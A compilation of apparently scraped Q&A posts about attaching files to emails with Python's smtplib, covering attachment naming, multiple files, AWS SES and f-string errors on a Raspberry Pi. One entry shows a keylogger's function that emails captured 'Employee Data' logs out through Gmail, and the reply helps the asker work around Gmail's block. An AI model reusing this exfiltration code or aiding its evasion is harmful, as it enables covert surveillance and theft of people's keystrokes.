I am trying to automate some email sending with python and the smtplib library. Currently, it sends the email fine and attaches the file, but the file does not keep the name that I set.
#The body and the attachments for the mail
message.attach(MIMEText(mail_content, 'plain'))
attach_file_name = 'temp.txt'
attach_file = open(attach_file_name, 'rb') # Open the file as binary mode
payload = MIMEBase('application', 'octate-stream')
payload.set_payload((attach_file).read())
encoders.encode_base64(payload) #encode the attachment
#add payload header with filename
payload.add_header('Content-Decomposition', 'attachment', filename=attach_file_name)
message.attach(payload)
#Create SMTP session for sending the mail
session = smtplib.SMTP('-----', 587) #custom domain
session.starttls() #enable security
session.login(sender_address, sender_pass) #login with mail_id and password
text = message.as_string()
session.sendmail(sender_address, receiver_address, text)
session.quit()
print('Mail Sent')
The above code should set the attachment file name to "temp.txt" I believe, but it defaults to "noname" in the inbox that it is sent to.
I found a solution using MIMEApplication - it correctly names the attachment.
attach_file_name = 'Test.pdf'
attach_file=MIMEApplication(open(attach_file_name,"rb").read())
attach_file.add_header('Content-Disposition', 'attachment', filename=attach_file_name)
message.attach(attach_file)
Related
I'm trying to create an email server to send multiple attached pdfs, I have the code below, it works good sending just one file. But with the for-loop it only sends the last document from 3, help please here maybe I didn't made the for correctly. It uses a csv file with the emails from contacts you can find that file here.
I'll put the for part after the full code...
import email, csv, smtplib, ssl
from email import encoders
from email.mime.base import MIMEBase
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
subject = "An email with attachment from Python"
body = """Hi {name_lastname},
How are you?
"This is an email with attachment sent from Python"
Your mail is to Login in the platform is {mail} and your Access Code is {epassword}
Real Python has many great tutorials:
www.realpython.com"""
sender_email = input('enter sender mail address:') # Enter your address
password = input("Type your password and press enter:")
# Create a multipart message and set headers
message = MIMEMultipart()
message["From"] = sender_email
message["Subject"] = subject
#message["Bcc"] = receiver_email # Recommended for mass emails
# Add body to email
message.attach(MIMEText(body, "plain"))
filenames = ["document.pdf", "document2", "document3.pdf"] # In same directory as script
#HERE START THE FOR
# Open PDF file in binary mode
for f in filenames or []:
with open(f, "rb") as attachment:
# Add file as application/octet-stream
# Email client can usually download this automatically as attachment
part = MIMEBase("application", "octet-stream")
part.set_payload(attachment.read())
# Encode file in ASCII characters to send by email
encoders.encode_base64(part)
# Add header as key/value pair to attachment part
part.add_header(
"Content-Disposition",
f"attachment; filename= {f}",
)
#HERE ENDS THE FOR
# Add attachment to message and convert message to string
message.attach(part)
text = message.as_string()
# Log in to server using secure context and send email
context = ssl.create_default_context()
with smtplib.SMTP_SSL("smtp.gmail.com", 465, context=context) as server:
server.login(sender_email, password)
with open("contacts.csv") as file:
reader = csv.reader(file)
next(reader) # Skip header row
for name_lastname, mail ,epassword in reader:
server.sendmail(
sender_email,
mail,
text.format(name_lastname=name_lastname, mail=mail, epassword=epassword),
)
Here is the for:
#HERE START THE FOR
# Open PDF file in binary mode
for f in filenames or []:
with open(f, "rb") as attachment:
# Add file as application/octet-stream
# Email client can usually download this automatically as attachment
part = MIMEBase("application", "octet-stream")
part.set_payload(attachment.read())
# Encode file in ASCII characters to send by email
encoders.encode_base64(part)
# Add header as key/value pair to attachment part
part.add_header(
"Content-Disposition",
f"attachment; filename= {f}",
)
#HERE ENDS THE FOR
I use AWS SES to send emails from my instance - it works when I send just messages, but when files are attached to emails, it could not send and just gets pending.
It works when I do it from a local system, but from AWS.
I'm wondering what happens when a file is attached to an email - is there somethings in AWS blocking it - or I need to use something different from smptlib of email?
I use the script below:
subject = 'xx'
body = "xx"
sender_email = "xx#gmail.com" `#this email address is confirmed in aws`
user = "xxxxx" #ses username
receiver_email = 'xxx#gmail.com' `#this email address is confirmed in aws`
password = 'xxxxx' # ses password
message = MIMEMultipart()
message["From"] = formataddr(('name', 'xxx#gmail.com'))
message["To"] = receiver_email
message["Subject"] = subject
# Add attachment to message and convert message to string
message.attach(MIMEText(body, "plain"))
filename = 'sdf.txt' #the file that will be sent.
with open(filename, "rb") as attachment:
## Add file as application/octet-stream
# Email client can usually download this automatically as attachment
part = MIMEBase("application", "octet-stream")
part.set_payload(attachment.read())
# Encode file in ASCII characters to send by email
encoders.encode_base64(part)
part.add_header(
"Content-Disposition",
f"attachment; filename= {filename}",
)
message.attach(part)
text = message.as_string()
# Log in to server using secure context and send email
context = ssl.create_default_context()
try:
with smtplib.SMTP_SSL("email-smtp.us-east-1.amazonaws.com", 465, context=context ) as server:
server.login(user, password)
server.sendmail(sender_email, receiver_email, text)
server.close()
except smtplib.SMTPException as e:
print("Error: ", e)
I modified the script, below - now it works nicely either with/without attachments in aws.
msg = MIMEMultipart()
body_part = MIMEText('xxxx', 'plain')
msg['Subject'] = 'xxx'
msg['From'] = formataddr(('xxxx', 'xxx#gmail.com'))
msg['To'] = 'xxx#gmail.com'
# Add body to email
msg.attach(body_part)
# open and read the file in binary
with open(path ,'rb') as file:
# Attach the file with filename to the email
msg.attach(MIMEApplication(file.read(), Name='xxx'))
# Create SMTP object
smtp_obj = smtplib.SMTP_SSL("email-smtp.us-east-1.amazonaws.com", 465)
# Login to the server
user = "xxx"
# Replace smtp_password with your Amazon SES SMTP password.
password = 'xxx'
smtp_obj.login(user, password)
# Convert the message to a string and send it
smtp_obj.sendmail(msg['From'], msg['To'], msg.as_string())
smtp_obj.quit()
Please I want to send data from these python files to my database. How do I go about it?
the following file path saves data from this keylogger, which is sent an email using the smtp library.
File_path = "******" # file path files are saved to
extend = "\\"
file_merge = file_path + extend
which is sent an email using the smtp library.
'''
def send_email(system_information, filename, attachment, toaddr):
fromaddr = email_address
msg = MIMEMultipart()
msg['From'] = fromaddr
msg['To'] = toaddr
msg['Subject'] = "Log File"
body = "EMployee Data"
msg.attach(MIMEText(body, 'plain'))
filename = filename
attachment = open(attachment, 'rb')
p = MIMEBase('application', 'octet-stream')
p.set_payload(attachment.read())
encoders.encode_base64(p)
p.add_header('Content-Disposition', "attachment; filename= %s" % filename)
msg.attach(p)
s = smtplib.SMTP('smtp.gmail.com', 587)
s.starttls()
s.login(fromaddr, password)
text = msg.as_string()
s.sendmail(fromaddr, toaddr, text)
s.quit()
'''
but google is blocking the mails saying its "content presents a potential\n5.7.0 security issue"
therefore I want to now create database with a table I can now send the data to instead of the mail
The error content presents a potential\n5.7.0 security issue shows
that it has not supported file you are using
Please check here File types blocked in gmail. Files those are mentioned in the url which are not acceptable to send using SMTP mail
I have used below code to send a file using python
import smtplib
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
from email.mime.base import MIMEBase
from email import encoders
mail_content = '''Hello,
#The mail addresses and password
sender_address = 'sender#gmail.com'
sender_pass = 'xxxxxxxx'
receiver_address = 'receiver#gmail.com'
#Setup the MIME
message = MIMEMultipart()
message['From'] = sender_address
message['To'] = receiver_address
message['Subject'] = 'A test mail sent by Python. It has an attachment.'
#The subject line
#The body and the attachments for the mail
message.attach(MIMEText(mail_content, 'plain'))
attach_file_name = 'test.pdf' #
attach_file = open(attach_file_name, 'rb')
#Open the file as binary mode
payload = MIMEBase('application', 'octate-stream')
payload.set_payload((attach_file).read())
encoders.encode_base64(payload)
#encode the attachment
#add payload header with filename
payload.add_header('Content-Decomposition', 'attachment', filename=attach_file_name)
message.attach(payload)
#Create SMTP session for sending the mail
#use gmail with port
session = smtplib.SMTP('smtp.gmail.com', 587)
#enable security
session.starttls()
#login with mail_id and password
session.login(sender_address, sender_pass)
text = message.as_string()
session.sendmail(sender_address, receiver_address, text)
session.quit()
print('Mail Sent')
Refer here
I have an output of df['sentiments'] as sentiment output of twitter tweets. I want to mail that sentiment output over email to another person automatically.
Store it in a file using df['sentiments'].to_csv('sentiment.csv'). And send the file sentiment.csv via mail.
More details about to_csv function can be found here in the official docs.
EDIT: Expanding the answer for the sake of making it less troublesome. Credits for this part
import smtplib
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
from email.mime.base import MIMEBase
from email import encoders
mail_content = '''Sample message'''
#The mail addresses and password
sender_address = 'sender#gmail.com'
sender_pass = 'xxxxxxxxxxx'
receiver_address = 'receiver#gmail.com'
#Setup the MIME
message = MIMEMultipart()
message['From'] = sender_address
message['To'] = receiver_address
message['Subject'] = 'A test mail sent by Python. It has an attachment.'
#The body and the attachments for the mail
message.attach(MIMEText(mail_content, 'plain'))
filename = "database.txt" #- Attach the sentiment.csv and metadata file here
# Open PDF file in binary mode
with open(filename, "rb") as attachment:
# Add file as application/octet-stream
# Email client can usually download this automatically as attachment
part = MIMEBase("application", "octet-stream")
part.set_payload(attachment.read())
# Encode file in ASCII characters to send by email
encoders.encode_base64(part)
# Add header as key/value pair to attachment part
part.add_header(
"Content-Disposition",
f"attachment; filename= {filename}",
)
# Add attachment to message and convert message to string
message.attach(part)
#Create SMTP session for sending the mail
session = smtplib.SMTP('smtp.gmail.com', 587) #use gmail with port
session.ehlo()
session.starttls() #enable security
session.login(sender_address, sender_pass) #login with mail_id and password
text = message.as_string()
session.sendmail(sender_address, receiver_address, text)
session.quit()
print('Mail Sent')
If you get an error as follows:
(535, b'5.7.8 Username and Password not accepted. Learn more at\n5.7.8 https://support.google.com/mail/?p=BadCredentials y186sm1525057pfy.66 - gsmtp')
Follow this thread
You can use the python built in library smtplib:
https://docs.python.org/3/library/smtplib.html to send emails.
You can use, for example the GMAIL mail server to send it.
https://www.tutorialspoint.com/send-mail-from-your-gmail-account-using-python
I have a python program to send emails from gmail account that works on Ubuntu, but not on Raspberry Pi. It shows next error:
f"attachment; filename= {filename}", <=it shows problem on this double quotation.
It looks like that it stops showing error msg when I delete f from the start of that string, but that will crush file for sending and I'm not able to open it after downloading from email.
Is there something that doesn't match Raspberry Pi? Could someone please tell me how to solve this problem? Thanks.
here is the code:
import email, smtplib, ssl
from email import encoders
from email.mime.base import MIMEBase
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
subject = "Detection!"
body = "There was a detection from Pi"
sender_email = "example#gmail.com"
receiver_email = "example2#gmail.com"
password = "example"
# Create a multipart message and set headers
message = MIMEMultipart()
message["From"] = sender_email
message["To"] = receiver_email
message["Subject"] = subject
message["Bcc"] = receiver_email # Recommended for mass emails
# Add body to email
message.attach(MIMEText(body, "plain"))
filename = "image.jpeg" # In same directory as script
# Open PDF file in binary mode
with open(filename, "rb") as attachment:
# Add file as application/octet-stream
# Email client can usually download this automatically as attachment
part = MIMEBase("application", "octet-stream")
part.set_payload(attachment.read())
# Encode file in ASCII characters to send by email
encoders.encode_base64(part)
# Add header as key/value pair to attachment part
part.add_header(
"Content-Disposition",
f"attachment; filename= {filename}", # HERE IS THE INVALID SYNTAX ERROR
)
# Add attachment to message and convert message to string
message.attach(part)
text = message.as_string()
# Log in to server using secure context and send email
context = ssl.create_default_context()
with smtplib.SMTP_SSL("smtp.gmail.com", 465, context=context) as server:
server.login(sender_email, password)
server.sendmail(sender_email, receiver_email, text)
f-strings were new in Python 3.6. Your Pi is presumably using an older version.
You can use the format method instead:
part.add_header(
"Content-Disposition",
"attachment; filename={}".format(filename),
)